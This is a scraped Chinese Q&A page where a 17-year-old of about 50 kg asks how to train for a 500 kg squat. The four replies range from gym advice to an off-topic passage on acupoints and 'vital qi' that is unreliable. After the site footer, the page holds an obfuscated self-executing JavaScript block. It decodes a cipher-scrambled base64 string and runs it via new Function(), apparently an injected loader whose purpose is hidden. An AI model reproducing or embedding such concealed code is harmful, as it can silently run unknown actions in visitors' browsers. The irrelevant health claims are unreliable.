好吧问答库 > 想练出500公斤以上的深蹲成绩，但是目前我体重只有50多公斤，17岁了。而且缺乏锻炼器材，怎么办？

想练出500公斤以上的深蹲成绩，但是目前我体重只有50多公斤，17岁了。而且缺乏锻炼器材，怎么办？

2025年04月06日 16:51
有4个网友回答
网友（1）：

去健身房吧。不过健身房很少有片子全部加起来能超过500公斤的 先从基本的练起，健身房的深蹲架估计最高也就能承受300公斤的重量。 很多健美冠军也就只能蹲200公斤多 你是想往大力士方向发展了 深蹲一般是按能蹲自己体重的多少倍来评判你的强弱，一般人能蹲到自己2倍体重算很厉害的了 想蹲到500公斤你得增重 祝你能成功，如果真能蹲到500公斤你必定能成为中国人的骄傲

网友（2）：

你确定是500kg，半吨的重量？要知道世界纪录才566kg。。。深蹲很简单，就是要负重，找面墙，找个同学骑在你身上就可以了

网友（3）：

500公斤以上的深蹲不是你这个身板能练的

你的体重能100就已经很强了

网友（4）：

我们身体里有一种非常重要的维持人体生命活动的基本物质与原动力，叫元气。关元穴就像人身体的一个阀门，将人体元气关在体内让它不泄漏，是男子藏精、女子蓄血之处，是人身上元阴、元阳的交汇之处，也是元气的关隘。

相关问答
最新问答
比较信赖的电力巡检机器人是什么牌子？
安装完IE8之后，电脑开机出现 c:尀windows尀system32尀iedkcs32.dll出错,丢失条目BrandIEActiveSetup
c照能开9座车吗
农业银行信用卡一万元分六期还款利率多少?
固阳县到达茂旗百灵庙多少公里
工资7200按保定人均收入2000标准交社保多少钱
京东便利店如何加盟
出了车祸,须要休息三月,对方全责,厂里买的社保卡,保险会赔付吗?
我自己买的头发拿到理发店去接，手工费是多少
相亲第一次见面应该说些什么话

内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();